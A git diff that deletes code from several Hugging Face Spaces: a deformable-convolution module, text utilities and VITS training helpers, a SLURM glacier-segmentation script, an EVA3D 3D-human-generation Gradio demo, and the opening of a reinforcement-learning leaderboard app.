- grad_input = torch.zeros_like(input) - grad_offset = torch.zeros_like(offset) - grad_mask = torch.zeros_like(mask) - grad_weight = torch.zeros_like(weight) - grad_bias = torch.zeros_like(bias) - _C.modulated_deform_conv_backward( - input, - weight, - bias, - ctx._bufs[0], - offset, - mask, - ctx._bufs[1], - grad_input, - grad_weight, - grad_bias, - grad_offset, - grad_mask, - grad_output, - weight.shape[2], - weight.shape[3], - ctx.stride, - ctx.stride, - ctx.padding, - ctx.padding, - ctx.dilation, - ctx.dilation, - ctx.groups, - ctx.deformable_groups, - ctx.with_bias, - ) - if not ctx.with_bias: - grad_bias = None - - return ( - grad_input, - grad_offset, - grad_mask, - grad_weight, - grad_bias, - None, - None, - None, - None, - None, - ) - - @staticmethod - def _infer_shape(ctx, input, weight): - n = input.size(0) - channels_out = weight.size(0) - height, width = input.shape[2:4] - kernel_h, kernel_w = weight.shape[2:4] - height_out = ( - height + 2 * ctx.padding - (ctx.dilation * (kernel_h - 1) + 1) - ) // ctx.stride + 1 - width_out = ( - width + 2 * ctx.padding - (ctx.dilation * (kernel_w - 1) + 1) - ) // ctx.stride + 1 - return n, channels_out, height_out, width_out - - -deform_conv = _DeformConv.apply -modulated_deform_conv = _ModulatedDeformConv.apply - - -class DeformConv(nn.Module): - def __init__( - self, - in_channels, - out_channels, - kernel_size, - stride=1, - padding=0, - dilation=1, - groups=1, - deformable_groups=1, - bias=False, - norm=None, - activation=None, - ): - """ - Deformable convolution from :paper:`deformconv`. - - Arguments are similar to :class:`Conv2D`. Extra arguments: - - Args: - deformable_groups (int): number of groups used in deformable convolution. - norm (nn.Module, optional): a normalization layer - activation (callable(Tensor) -> Tensor): a callable activation function - """ - super(DeformConv, self).__init__() - - assert not bias - assert in_channels % groups == 0, "in_channels {} cannot be divisible by groups {}".format( - in_channels, groups - ) - assert ( - out_channels % groups == 0 - ), "out_channels {} cannot be divisible by groups {}".format(out_channels, groups) - - self.in_channels = in_channels - self.out_channels = out_channels - self.kernel_size = _pair(kernel_size) - self.stride = _pair(stride) - self.padding = _pair(padding) - self.dilation = _pair(dilation) - self.groups = groups - self.deformable_groups = deformable_groups - self.norm = norm - self.activation = activation - - self.weight = nn.Parameter( - torch.Tensor(out_channels, in_channels // self.groups, *self.kernel_size) - ) - self.bias = None - - nn.init.kaiming_uniform_(self.weight, nonlinearity="relu") - - def forward(self, x, offset): - if x.numel() == 0: - # When input is empty, we want to return a empty tensor with "correct" shape, - # So that the following operations will not panic - # if they check for the shape of the tensor. - # This computes the height and width of the output tensor - output_shape = [ - (i + 2 * p - (di * (k - 1) + 1)) // s + 1 - for i, p, di, k, s in zip( - x.shape[-2:], self.padding, self.dilation, self.kernel_size, self.stride - ) - ] - output_shape = [x.shape[0], self.weight.shape[0]] + output_shape - return _NewEmptyTensorOp.apply(x, output_shape) - - x = deform_conv( - x, - offset, - self.weight, - self.stride, - self.padding, - self.dilation, - self.groups, - self.deformable_groups, - ) - if self.norm is not None: - x = self.norm(x) - if self.activation is not None: - x = self.activation(x) - return x - - def extra_repr(self): - tmpstr = "in_channels=" + str(self.in_channels) - tmpstr += ", out_channels=" + str(self.out_channels) - tmpstr += ", kernel_size=" + str(self.kernel_size) - tmpstr += ", stride=" + str(self.stride) - tmpstr += ", padding=" + str(self.padding) - tmpstr += ", dilation=" + str(self.dilation) - tmpstr += ", groups=" + str(self.groups) - tmpstr += ", deformable_groups=" + str(self.deformable_groups) - tmpstr += ", bias=False" - return tmpstr - - -class ModulatedDeformConv(nn.Module): - def __init__( - self, - in_channels, - out_channels, - kernel_size, - stride=1, - padding=0, - dilation=1, - groups=1, - deformable_groups=1, - bias=True, - norm=None, - activation=None, - ): - """ - Modulated deformable convolution from :paper:`deformconv2`. - - Arguments are similar to :class:`Conv2D`. Extra arguments: - - Args: - deformable_groups (int): number of groups used in deformable convolution. - norm (nn.Module, optional): a normalization layer - activation (callable(Tensor) -> Tensor): a callable activation function - """ - super(ModulatedDeformConv, self).__init__() - self.in_channels = in_channels - self.out_channels = out_channels - self.kernel_size = _pair(kernel_size) - self.stride = stride - self.padding = padding - self.dilation = dilation - self.groups = groups - self.deformable_groups = deformable_groups - self.with_bias = bias - self.norm = norm - self.activation = activation - - self.weight = nn.Parameter( - torch.Tensor(out_channels, in_channels // groups, *self.kernel_size) - ) - if bias: - self.bias = nn.Parameter(torch.Tensor(out_channels)) - else: - self.bias = None - - nn.init.kaiming_uniform_(self.weight, nonlinearity="relu") - if self.bias is not None: - nn.init.constant_(self.bias, 0) - - def forward(self, x, offset, mask): - if x.numel() == 0: - output_shape = [ - (i + 2 * p - (di * (k - 1) + 1)) // s + 1 - for i, p, di, k, s in zip( - x.shape[-2:], self.padding, self.dilation, self.kernel_size, self.stride - ) - ] - output_shape = [x.shape[0], self.weight.shape[0]] + output_shape - return _NewEmptyTensorOp.apply(x, output_shape) - - x = modulated_deform_conv( - x, - offset, - mask, - self.weight, - self.bias, - self.stride, - self.padding, - self.dilation, - self.groups, - self.deformable_groups, - ) - if self.norm is not None: - x = self.norm(x) - if self.activation is not None: - x = self.activation(x) - return x - - def extra_repr(self): - tmpstr = "in_channels=" + str(self.in_channels) - tmpstr += ", out_channels=" + str(self.out_channels) - tmpstr += ", kernel_size=" + str(self.kernel_size) - tmpstr += ", stride=" + str(self.stride) - tmpstr += ", padding=" + str(self.padding) - tmpstr += ", dilation=" + str(self.dilation) - tmpstr += ", groups=" + str(self.groups) - tmpstr += ", deformable_groups=" + str(self.deformable_groups) - tmpstr += ", bias=" + str(self.with_bias) - return tmpstr diff --git a/spaces/hezhaoqia/vits-simple-api/bert_vits2/text/english_bert_mock.py b/spaces/hezhaoqia/vits-simple-api/bert_vits2/text/english_bert_mock.py deleted file mode 100644 index 3b894ced5b6d619a18d6bdd7d7606ba9e6532050..0000000000000000000000000000000000000000 --- a/spaces/hezhaoqia/vits-simple-api/bert_vits2/text/english_bert_mock.py +++ /dev/null @@ -1,5 +0,0 @@ -import torch - - -def get_bert_feature(norm_text, word2ph): - return torch.zeros(1024, sum(word2ph)) diff --git a/spaces/hhhhardman/VITS-Umamusume-voice-synthesizer/text/ngu_dialect.py b/spaces/hhhhardman/VITS-Umamusume-voice-synthesizer/text/ngu_dialect.py deleted file mode 100644 index ce3e12bbf0469426872eed5f681985d3e1be9b26..0000000000000000000000000000000000000000 --- a/spaces/hhhhardman/VITS-Umamusume-voice-synthesizer/text/ngu_dialect.py +++ /dev/null @@ -1,30 +0,0 @@ -import re -import opencc - - -dialects = {'SZ': 'suzhou', 'WX': 'wuxi', 'CZ': 'changzhou', 'HZ': 'hangzhou', - 'SX': 'shaoxing', 'NB': 'ningbo', 'JJ': 'jingjiang', 'YX': 'yixing', - 'JD': 'jiading', 'ZR': 'zhenru', 'PH': 'pinghu', 'TX': 'tongxiang', - 'JS': 'jiashan', 'HN': 'xiashi', 'LP': 'linping', 'XS': 'xiaoshan', - 'FY': 'fuyang', 'RA': 'ruao', 'CX': 'cixi', 'SM': 'sanmen', - 'TT': 'tiantai', 'WZ': 'wenzhou', 'SC': 'suichang', 'YB': 'youbu'} - -converters = {} - -for dialect in dialects.values(): - try: - converters[dialect] = opencc.OpenCC(dialect) - except: - pass - - -def ngu_dialect_to_ipa(text, dialect): - dialect = dialects[dialect] - text = converters[dialect].convert(text).replace('-','').replace('$',' ') - text = re.sub(r'[、；：]', '，', text) - text = re.sub(r'\s*，\s*', ', ', text) - text = re.sub(r'\s*。\s*', '. ', text) - text = re.sub(r'\s*？\s*', '? ', text) - text = re.sub(r'\s*！\s*', '! ', text) - text = re.sub(r'\s*$', '', text) - return text diff --git a/spaces/hhhhardman/VITS-Umamusume-voice-synthesizer/utils.py b/spaces/hhhhardman/VITS-Umamusume-voice-synthesizer/utils.py deleted file mode 100644 index 9794e0fc3463a5e8fad05c037cce64683059a6d3..0000000000000000000000000000000000000000 --- a/spaces/hhhhardman/VITS-Umamusume-voice-synthesizer/utils.py +++ /dev/null @@ -1,226 +0,0 @@ -import os -import glob -import sys -import argparse -import logging -import json -import subprocess -import numpy as np -from scipy.io.wavfile import read -import torch - -MATPLOTLIB_FLAG = False - -logging.basicConfig(stream=sys.stdout, level=logging.ERROR) -logger = logging - - -def load_checkpoint(checkpoint_path, model, optimizer=None): - assert os.path.isfile(checkpoint_path) - checkpoint_dict = torch.load(checkpoint_path, map_location='cpu') - iteration = checkpoint_dict['iteration'] - learning_rate = checkpoint_dict['learning_rate'] - if optimizer is not None: - optimizer.load_state_dict(checkpoint_dict['optimizer']) - saved_state_dict = checkpoint_dict['model'] - if hasattr(model, 'module'): - state_dict = model.module.state_dict() - else: - state_dict = model.state_dict() - new_state_dict = {} - for k, v in state_dict.items(): - try: - new_state_dict[k] = saved_state_dict[k] - except: - logger.info("%s is not in the checkpoint" % k) - new_state_dict[k] = v - if hasattr(model, 'module'): - model.module.load_state_dict(new_state_dict) - else: - model.load_state_dict(new_state_dict) - logger.info("Loaded checkpoint '{}' (iteration {})".format( - checkpoint_path, iteration)) - return model, optimizer, learning_rate, iteration - - -def plot_spectrogram_to_numpy(spectrogram): - global MATPLOTLIB_FLAG - if not MATPLOTLIB_FLAG: - import matplotlib - matplotlib.use("Agg") - MATPLOTLIB_FLAG = True - mpl_logger = logging.getLogger('matplotlib') - mpl_logger.setLevel(logging.WARNING) - import matplotlib.pylab as plt - import numpy as np - - fig, ax = plt.subplots(figsize=(10, 2)) - im = ax.imshow(spectrogram, aspect="auto", origin="lower", - interpolation='none') - plt.colorbar(im, ax=ax) - plt.xlabel("Frames") - plt.ylabel("Channels") - plt.tight_layout() - - fig.canvas.draw() - data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='') - data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,)) - plt.close() - return data - - -def plot_alignment_to_numpy(alignment, info=None): - global MATPLOTLIB_FLAG - if not MATPLOTLIB_FLAG: - import matplotlib - matplotlib.use("Agg") - MATPLOTLIB_FLAG = True - mpl_logger = logging.getLogger('matplotlib') - mpl_logger.setLevel(logging.WARNING) - import matplotlib.pylab as plt - import numpy as np - - fig, ax = plt.subplots(figsize=(6, 4)) - im = ax.imshow(alignment.transpose(), aspect='auto', origin='lower', - interpolation='none') - fig.colorbar(im, ax=ax) - xlabel = 'Decoder timestep' - if info is not None: - xlabel += '\n\n' + info - plt.xlabel(xlabel) - plt.ylabel('Encoder timestep') - plt.tight_layout() - - fig.canvas.draw() - data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='') - data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,)) - plt.close() - return data - - -def load_wav_to_torch(full_path): - sampling_rate, data = read(full_path) - return torch.FloatTensor(data.astype(np.float32)), sampling_rate - - -def load_filepaths_and_text(filename, split="|"): - with open(filename, encoding='utf-8') as f: - filepaths_and_text = [line.strip().split(split) for line in f] - return filepaths_and_text - - -def get_hparams(init=True): - parser = argparse.ArgumentParser() - parser.add_argument('-c', '--config', type=str, default="./configs/base.json", - help='JSON file for configuration') - parser.add_argument('-m', '--model', type=str, required=True, - help='Model name') - - args = parser.parse_args() - model_dir = os.path.join("./logs", args.model) - - if not os.path.exists(model_dir): - os.makedirs(model_dir) - - config_path = args.config - config_save_path = os.path.join(model_dir, "config.json") - if init: - with open(config_path, "r") as f: - data = f.read() - with open(config_save_path, "w") as f: - f.write(data) - else: - with open(config_save_path, "r") as f: - data = f.read() - config = json.loads(data) - - hparams = HParams(**config) - hparams.model_dir = model_dir - return hparams - - -def get_hparams_from_dir(model_dir): - config_save_path = os.path.join(model_dir, "config.json") - with open(config_save_path, "r") as f: - data = f.read() - config = json.loads(data) - - hparams = HParams(**config) - hparams.model_dir = model_dir - return hparams - - -def get_hparams_from_file(config_path): - with open(config_path, "r", encoding="utf-8") as f: - data = f.read() - config = json.loads(data) - - hparams = HParams(**config) - return hparams - - -def check_git_hash(model_dir): - source_dir = os.path.dirname(os.path.realpath(__file__)) - if not os.path.exists(os.path.join(source_dir, ".git")): - logger.warn("{} is not a git repository, therefore hash value comparison will be ignored.".format( - source_dir - )) - return - - cur_hash = subprocess.getoutput("git rev-parse HEAD") - - path = os.path.join(model_dir, "githash") - if os.path.exists(path): - saved_hash = open(path).read() - if saved_hash != cur_hash: - logger.warn("git hash values are different. {}(saved) != {}(current)".format( - saved_hash[:8], cur_hash[:8])) - else: - open(path, "w").write(cur_hash) - - -def get_logger(model_dir, filename="train.log"): - global logger - logger = logging.getLogger(os.path.basename(model_dir)) - logger.setLevel(logging.DEBUG) - - formatter = logging.Formatter("%(asctime)s\t%(name)s\t%(levelname)s\t%(message)s") - if not os.path.exists(model_dir): - os.makedirs(model_dir) - h = logging.FileHandler(os.path.join(model_dir, filename)) - h.setLevel(logging.DEBUG) - h.setFormatter(formatter) - logger.addHandler(h) - return logger - - -class HParams(): - def __init__(self, **kwargs): - for k, v in kwargs.items(): - if type(v) == dict: - v = HParams(**v) - self[k] = v - - def keys(self): - return self.__dict__.keys() - - def items(self): - return self.__dict__.items() - - def values(self): - return self.__dict__.values() - - def __len__(self): - return len(self.__dict__) - - def __getitem__(self, key): - return getattr(self, key) - - def __setitem__(self, key, value): - return setattr(self, key, value) - - def __contains__(self, key): - return key in self.__dict__ - - def __repr__(self): - return self.__dict__.__repr__() \ No newline at end of file diff --git a/spaces/ho11laqe/nnUNet_calvingfront_detection/scripts_new/run_glacier_front_4.sh b/spaces/ho11laqe/nnUNet_calvingfront_detection/scripts_new/run_glacier_front_4.sh deleted file mode 100644 index 379ebb77f6f895e552dce63646722cb80c5dab42..0000000000000000000000000000000000000000 --- a/spaces/ho11laqe/nnUNet_calvingfront_detection/scripts_new/run_glacier_front_4.sh +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/bash -l -#SBATCH --nodes=1 --gres=gpu:1 --time=24:00:00 -#SBATCH --job-name=Task501_glacier_front_4 - -export data_raw="/home/woody/iwi5/iwi5039h/data_raw" -export nnUNet_raw_data_base="/home/woody/iwi5/iwi5039h/nnUNet_data/nnUNet_raw_data_base/" -export nnUNet_preprocessed="/home/woody/iwi5/iwi5039h/nnUNet_data/nnUNet_preprocessed/" -export RESULTS_FOLDER="/home/woody/iwi5/iwi5039h/nnUNet_data/RESULTS_FOLDER" - -cd nnunet_glacer -pwd -conda activate nnunet - -python3 nnunet/run/run_training.py 2d nnUNetTrainerV2 501 4 --disable_postprocessing_on_folds --disable_deepsupervision -python3 nnunet/inference/predict_simple.py -i $nnUNet_raw_data_base/nnUNet_raw_data/Task501_Glacier_front/imagesTs -o $RESULTS_FOLDER/test_predictions/Task501_Glacier_front/fold_4 -t 501 -m 2d -f 4 -p nnUNetPlansv2.1 -tr nnUNetTrainerV2 -python3 nnunet/dataset_conversion/Task501_Glacier_reverse.py -i $RESULTS_FOLDER/test_predictions/Task501_Glacier_front/fold_4 -python3 ./evaluate_nnUNet.py --predictions $RESULTS_FOLDER/test_predictions/Task501_Glacier_front/fold_4/pngs --labels_fronts $data_raw/fronts/test --labels_zones $data_raw/zones/test --sar_images $data_raw/sar_images/test \ No newline at end of file diff --git a/spaces/hongfz16/EVA3D/app.py b/spaces/hongfz16/EVA3D/app.py deleted file mode 100644 index 4c0e6d3e11f41fa4590f35c1fb303b2effe72999..0000000000000000000000000000000000000000 --- a/spaces/hongfz16/EVA3D/app.py +++ /dev/null @@ -1,389 +0,0 @@ -import sys -import os - -os.system("git clone https://github.com/hongfz16/EVA3D.git") -sys.path.append("EVA3D") -os.system("cp -r EVA3D/assets .") - -os.system(f"{sys.executable} -m pip install -U fvcore plotly") - -import torch -pyt_version_str=torch.__version__.split("+")[0].replace(".", "") -version_str="".join([ - f"py3{sys.version_info.minor}_cu", - torch.version.cuda.replace(".",""), - f"_pyt{pyt_version_str}" -]) - -os.system(f"{sys.executable} -m pip install --no-index --no-cache-dir pytorch3d -f https://dl.fbaipublicfiles.com/pytorch3d/packaging/wheels/{version_str}/download.html") - -import os -import html -import glob -import uuid -import hashlib -import requests -from tqdm import tqdm -from pdb import set_trace as st - -from download_models import download_file -eva3d_deepfashion_model = dict(file_url='https://drive.google.com/uc?id=1SYPjxnHz3XPRhTarx_Lw8SG_iz16QUMU', - alt_url='', file_size=160393221, file_md5='d0fae86edf76c52e94223bd3f39b2157', - file_path='checkpoint/512x256_deepfashion/volume_renderer/models_0420000.pt',) - -smpl_model = dict(file_url='https://drive.google.com/uc?id={}'.format(os.environ['smpl_link']), - alt_url='', file_size=39001280, file_md5='65dc7f162f3ef21a38637663c57e14a7', - file_path='smpl_models/smpl/SMPL_NEUTRAL.pkl',) - -def download_pretrained_models(): - print('Downloading EVA3D model pretrained on DeepFashion.') - with requests.Session() as session: - try: - download_file(session, eva3d_deepfashion_model) - except: - print('Google Drive download failed.\n' \ - 'Trying do download from alternate server') - download_file(session, eva3d_deepfashion_model, use_alt_url=True) - print('Downloading SMPL model.') - with requests.Session() as session: - try: - download_file(session, smpl_model) - except: - print('Google Drive download failed.\n' \ - 'Trying do download from alternate server') - download_file(session, smpl_model, use_alt_url=True) - -download_pretrained_models() - -import os -import torch -import trimesh -import imageio -import pickle -import numpy as np -from munch import * -from PIL import Image -from tqdm import tqdm -from torch.nn import functional as F -from torch.utils import data -from torchvision import utils -from torchvision import transforms -from skimage.measure import marching_cubes -from scipy.spatial import Delaunay -from scipy.spatial.transform import Rotation as R -from options import BaseOptions -from model import VoxelHumanGenerator as Generator -from dataset import DeepFashionDataset, DemoDataset -from utils import ( - generate_camera_params, - align_volume, - extract_mesh_with_marching_cubes, - xyz2mesh, - requires_grad, - create_mesh_renderer, - create_cameras -) -from pytorch3d.io import load_objs_as_meshes, load_obj -from pytorch3d.structures import Meshes -from pytorch3d.renderer import ( - FoVPerspectiveCameras, look_at_view_transform, look_at_rotation, - RasterizationSettings, MeshRenderer, MeshRasterizer, BlendParams, - SoftSilhouetteShader, HardPhongShader, PointLights, TexturesVertex, -) - -torch.random.manual_seed(8888) -import random -random.seed(8888) - -panning_angle = np.pi / 3 - -def sample_latent(opt, device): - return - -def generate_rgb(opt, g_ema, device, mean_latent, sample_z, sample_trans, sample_beta, sample_theta, sample_cam_extrinsics, sample_focals): - requires_grad(g_ema, False) - g_ema.is_train = False - g_ema.train_renderer = False - img_list = [] - for k in range(3): - if k == 0: - delta = R.from_rotvec(np.pi/8 * np.array([0, 1, 0])) - elif k == 2: - delta = R.from_rotvec(-np.pi/8 * np.array([0, 1, 0])) - else: - delta = R.from_rotvec(0 * np.array([0, 1, 0])) - r = R.from_rotvec(sample_theta[0, :3].cpu().numpy()) - new_r = delta * r - new_sample_theta = sample_theta.clone() - new_sample_theta[0, :3] = torch.from_numpy(new_r.as_rotvec()).to(device) - - with torch.no_grad(): - j = 0 - chunk = 1 - out = g_ema([sample_z[j:j+chunk]], - sample_cam_extrinsics[j:j+chunk], - sample_focals[j:j+chunk], - sample_beta[j:j+chunk], - new_sample_theta[j:j+chunk], - sample_trans[j:j+chunk], - truncation=opt.truncation_ratio, - truncation_latent=mean_latent, - return_eikonal=False, - return_normal=False, - return_mask=False, - fix_viewdir=True) - - rgb_images_thumbs = out[1].detach().cpu()[..., :3].permute(0, 3, 1, 2) - g_ema.zero_grad() - img_list.append(rgb_images_thumbs) - - utils.save_image(torch.cat(img_list, 0), - os.path.join(opt.results_dst_dir, 'images_paper_fig','{}.png'.format(str(0).zfill(7))), - nrow=3, - normalize=True, - range=(-1, 1), - padding=0,) - -def generate_mesh(opt, g_ema, device, mean_latent, sample_z, sample_trans, sample_beta, sample_theta, sample_cam_extrinsics, sample_focals): - latent = g_ema.styles_and_noise_forward(sample_z[:1], None, opt.truncation_ratio, - mean_latent, False) - - sdf = g_ema.renderer.marching_cube_posed(latent[0], sample_beta, sample_theta, resolution=350, size=1.4).detach() - marching_cubes_mesh, _, _ = extract_mesh_with_marching_cubes(sdf, level_set=0) - marching_cubes_mesh = trimesh.smoothing.filter_humphrey(marching_cubes_mesh, beta=0.2, iterations=5) - # marching_cubes_mesh_filename = os.path.join(opt.results_dst_dir,'marching_cubes_meshes_posed','sample_{}_marching_cubes_mesh.obj'.format(0)) - # with open(marching_cubes_mesh_filename, 'w') as f: - # marching_cubes_mesh.export(f,file_type='obj') - return marching_cubes_mesh - -def generate_video(opt, g_ema, device, mean_latent, sample_z, sample_trans, sample_beta, sample_theta, sample_cam_extrinsics, sample_focals): - video_list = [] - for k in tqdm(range(120)): - if k < 30: - angle = (panning_angle / 2) * (k / 30) - elif k >= 30 and k < 90: - angle = panning_angle / 2 - panning_angle * ((k - 30) / 60) - else: - angle = -panning_angle / 2 * ((120 - k) / 30) - delta = R.from_rotvec(angle * np.array([0, 1, 0])) - r = R.from_rotvec(sample_theta[0, :3].cpu().numpy()) - new_r = delta * r - new_sample_theta = sample_theta.clone() - new_sample_theta[0, :3] = torch.from_numpy(new_r.as_rotvec()).to(device) - with torch.no_grad(): - j = 0 - chunk = 1 - out = g_ema([sample_z[j:j+chunk]], - sample_cam_extrinsics[j:j+chunk], - sample_focals[j:j+chunk], - sample_beta[j:j+chunk], - new_sample_theta[j:j+chunk], - sample_trans[j:j+chunk], - truncation=opt.truncation_ratio, - truncation_latent=mean_latent, - return_eikonal=False, - return_normal=False, - return_mask=False, - fix_viewdir=True) - rgb_images_thumbs = out[1].detach().cpu()[..., :3] - g_ema.zero_grad() - video_list.append((rgb_images_thumbs.numpy() + 1) / 2. * 255. + 0.5) - all_img = np.concatenate(video_list, 0).astype(np.uint8) - imageio.mimwrite(os.path.join(opt.results_dst_dir, 'images_paper_video', 'video_{}.mp4'.format(str(0).zfill(7))), all_img, fps=30, quality=8) - -def setup(): - device='cuda' if torch.cuda.is_available() else 'cpu' - opt = BaseOptions().parse() - - opt.training.batch = 1 - opt.training.chunk = 1 - opt.experiment.expname = '512x256_deepfashion' - opt.dataset.dataset_path = 'demodataset' - opt.rendering.depth = 5 - opt.rendering.width = 128 - opt.model.style_dim = 128 - opt.model.renderer_spatial_output_dim = [512, 256] - opt.training.no_sphere_init = True - opt.rendering.input_ch_views = 3 - opt.rendering.white_bg = True - opt.model.voxhuman_name = 'eva3d_deepfashion' - opt.training.deltasdf = True - opt.rendering.N_samples = 28 - opt.experiment.ckpt = '420000' - opt.inference.identities = 1 - opt.inference.truncation_ratio = 0.6 - - opt.model.is_test = True - opt.model.freeze_renderer = False - opt.rendering.no_features_output = True - opt.rendering.offset_sampling = True - opt.rendering.static_viewdirs = True - opt.rendering.force_background = True - opt.rendering.perturb = 0 - opt.inference.size = opt.model.size - opt.inference.camera = opt.camera - opt.inference.renderer_output_size = opt.model.renderer_spatial_output_dim - opt.inference.style_dim = opt.model.style_dim - opt.inference.project_noise = opt.model.project_noise - opt.inference.return_xyz = opt.rendering.return_xyz - - checkpoints_dir = os.path.join('checkpoint', opt.experiment.expname, 'volume_renderer') - checkpoint_path = os.path.join(checkpoints_dir, - 'models_{}.pt'.format(opt.experiment.ckpt.zfill(7))) - # define results directory name - result_model_dir = 'iter_{}'.format(opt.experiment.ckpt.zfill(7)) - - # create results directory - results_dir_basename = os.path.join(opt.inference.results_dir, opt.experiment.expname) - opt.inference.results_dst_dir = os.path.join(results_dir_basename, result_model_dir) - if opt.inference.fixed_camera_angles: - opt.inference.results_dst_dir = os.path.join(opt.inference.results_dst_dir, 'fixed_angles') - else: - opt.inference.results_dst_dir = os.path.join(opt.inference.results_dst_dir, 'random_angles') - os.makedirs(opt.inference.results_dst_dir, exist_ok=True) - os.makedirs(os.path.join(opt.inference.results_dst_dir, 'images_paper_fig'), exist_ok=True) - os.makedirs(os.path.join(opt.inference.results_dst_dir, 'images_paper_video'), exist_ok=True) - os.makedirs(os.path.join(opt.inference.results_dst_dir, 'marching_cubes_meshes_posed'), exist_ok=True) - checkpoint = torch.load(checkpoint_path, map_location=lambda storage, loc: storage) - - # load generation model - g_ema = Generator(opt.model, opt.rendering, full_pipeline=False, voxhuman_name=opt.model.voxhuman_name).to(device) - pretrained_weights_dict = checkpoint["g_ema"] - model_dict = g_ema.state_dict() - for k, v in pretrained_weights_dict.items(): - if v.size() == model_dict[k].size(): - model_dict[k] = v - else: - print(k) - - g_ema.load_state_dict(model_dict) - - transform = transforms.Compose( - [transforms.ToTensor(), - transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5), inplace=True)]) - - if 'deepfashion' in opt.dataset.dataset_path: - file_list = '/mnt/lustre/fzhong/smplify-x/deepfashion_train_list/deepfashion_train_list_MAN.txt' - elif '20w_fashion' in opt.dataset.dataset_path: - file_list = '/mnt/lustre/fzhong/mmhuman3d/20w_fashion_result/nondress_flist.txt' - else: - file_list = None - if file_list: - dataset = DeepFashionDataset(opt.dataset.dataset_path, transform, opt.model.size, - opt.model.renderer_spatial_output_dim, file_list) - else: - dataset = DemoDataset() - - # get the mean latent vector for g_ema - if opt.inference.truncation_ratio < 1: - with torch.no_grad(): - mean_latent = g_ema.mean_latent(opt.inference.truncation_mean, device) - else: - mean_latent = None - - g_ema.renderer.is_train = False - g_ema.renderer.perturb = 0 - - # generate(opt.inference, dataset, g_ema, device, mean_latent, opt.rendering.render_video) - - sample_trans, sample_beta, sample_theta = dataset.sample_smpl_param(1, device, val=False) - sample_cam_extrinsics, sample_focals = dataset.get_camera_extrinsics(1, device, val=False) - - torch.randn(1, opt.inference.style_dim, device=device) - - return opt.inference, g_ema, device, mean_latent, torch.randn(1, opt.inference.style_dim, device=device), \ - sample_trans, sample_beta, sample_theta, sample_cam_extrinsics, sample_focals - -import gradio as gr -import plotly.graph_objects as go -from PIL import Image - -setup_list = None - -def get_video(): - global setup_list - if setup_list is None: - setup_list = list(setup()) - generate_video(*setup_list) - torch.cuda.empty_cache() - path = 'evaluations/512x256_deepfashion/iter_0420000/random_angles/images_paper_video/video_0000000.mp4' - return path - -def get_mesh(): - global setup_list - if setup_list is None: - setup_list = list(setup()) - setup_list[4] = torch.randn(1, setup_list[0].style_dim, device=setup_list[2]) - generate_rgb(*setup_list) - mesh = generate_mesh(*setup_list) - torch.cuda.empty_cache() - - x=np.asarray(mesh.vertices).T[0] - y=np.asarray(mesh.vertices).T[1] - z=np.asarray(mesh.vertices).T[2] - - i=np.asarray(mesh.faces).T[0] - j=np.asarray(mesh.faces).T[1] - k=np.asarray(mesh.faces).T[2] - fig = go.Figure(go.Mesh3d(x=x, y=y, z=z, - i=i, j=j, k=k, - color="lightpink", - # flatshading=True, - lighting=dict(ambient=0.5, - diffuse=1, - fresnel=4, - specular=0.5, - roughness=0.05, - facenormalsepsilon=0, - vertexnormalsepsilon=0),)) - # lightposition=dict(x=100, - # y=100, - # z=1000))) - path='evaluations/512x256_deepfashion/iter_0420000/random_angles/images_paper_fig/0000000.png' - - image=Image.open(path) - - return fig,image - -markdown=f''' - # EVA3D: Compositional 3D Human Generation from 2D Image Collections - - Authored by Fangzhou Hong, Zhaoxi Chen, Yushi Lan, Liang Pan, Ziwei Liu - - The space demo for the ICLR 2023 Spotlight paper "EVA3D: Compositional 3D Human Generation from 2D Image Collections". - - ### Useful links: - - [Official Github Repo](https://github.com/hongfz16/EVA3D) - - [Project Page](https://hongfz16.github.io/projects/EVA3D.html) - - [arXiv Link](https://arxiv.org/abs/2210.04888) - - Licensed under the S-Lab License. - - First use button "Generate RGB & Mesh" to randomly sample a 3D human. Then push button "Generate Video" to generate a panning video of the generated human. -''' - -with gr.Blocks() as demo: - with gr.Row(): - with gr.Column(): - gr.Markdown(markdown) - with gr.Column(): - with gr.Row(): - with gr.Column(): - image=gr.Image(type="pil",shape=(512,256*3)) - with gr.Row(): - with gr.Column(): - mesh = gr.Plot() - with gr.Column(): - video=gr.Video() - # with gr.Row(): - # numberoframes = gr.Slider( minimum=30, maximum=250,label='Number Of Frame For Video Generation') - # model_name=gr.Dropdown(choices=["ffhq","afhq"],label="Choose Model Type") - # mesh_type=gr.Dropdown(choices=["DepthMesh","Marching Cubes"],label="Choose Mesh Type") - with gr.Row(): - btn = gr.Button(value="Generate RGB & Mesh") - btn_2=gr.Button(value="Generate Video") - - btn.click(get_mesh,[],[mesh,image]) - btn_2.click(get_video,[],[video]) - -demo.launch(debug=True) diff --git a/spaces/huggingface-projects/Deep-Reinforcement-Learning-Leaderboard/app.py b/spaces/huggingface-projects/Deep-Reinforcement-Learning-Leaderboard/app.py deleted file mode 100644 index 845013733c396f3172f8684d189c7af0990235b4..0000000000000000000000000000000000000000 --- a/spaces/huggingface-projects/Deep-Reinforcement-Learning-Leaderboard/app.py +++ /dev/null @@ -1,368 +0,0 @@ -import os -import json -import requests - -import gradio as gr -import pandas as pd -from huggingface_hub import HfApi, hf_hub_download, snapshot_download -from huggingface_hub.repocard import metadata_load -from apscheduler.schedulers.background import BackgroundScheduler - -from utils import * - -DATASET_REPO_URL = "https://huggingface.co/datasets/huggingface-projects/drlc-leaderboard-data" -DATASET_REPO_ID = "huggingface-projects/drlc-leaderboard-data" -HF_TOKEN = os.environ.get("HF_TOKEN") - -block = gr.Blocks() -api = HfApi(token=HF_TOKEN) - -# Containing the data -rl_envs = [ -{ -"rl_env_beautiful": "LunarLander-v2 🚀", -"rl_env": "LunarLander-v2", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "CartPole-v1", -"rl_env": "CartPole-v1", -"video_link": "https://huggingface.co/sb3/ppo-CartPole-v1/resolve/main/replay.mp4", -"global": None -}, -{ -"rl_env_beautiful": "FrozenLake-v1-4x4-no_slippery ❄️", -"rl_env": "FrozenLake-v1-4x4-no_slippery", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "FrozenLake-v1-8x8-no_slippery ❄️", -"rl_env": "FrozenLake-v1-8x8-no_slippery", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": 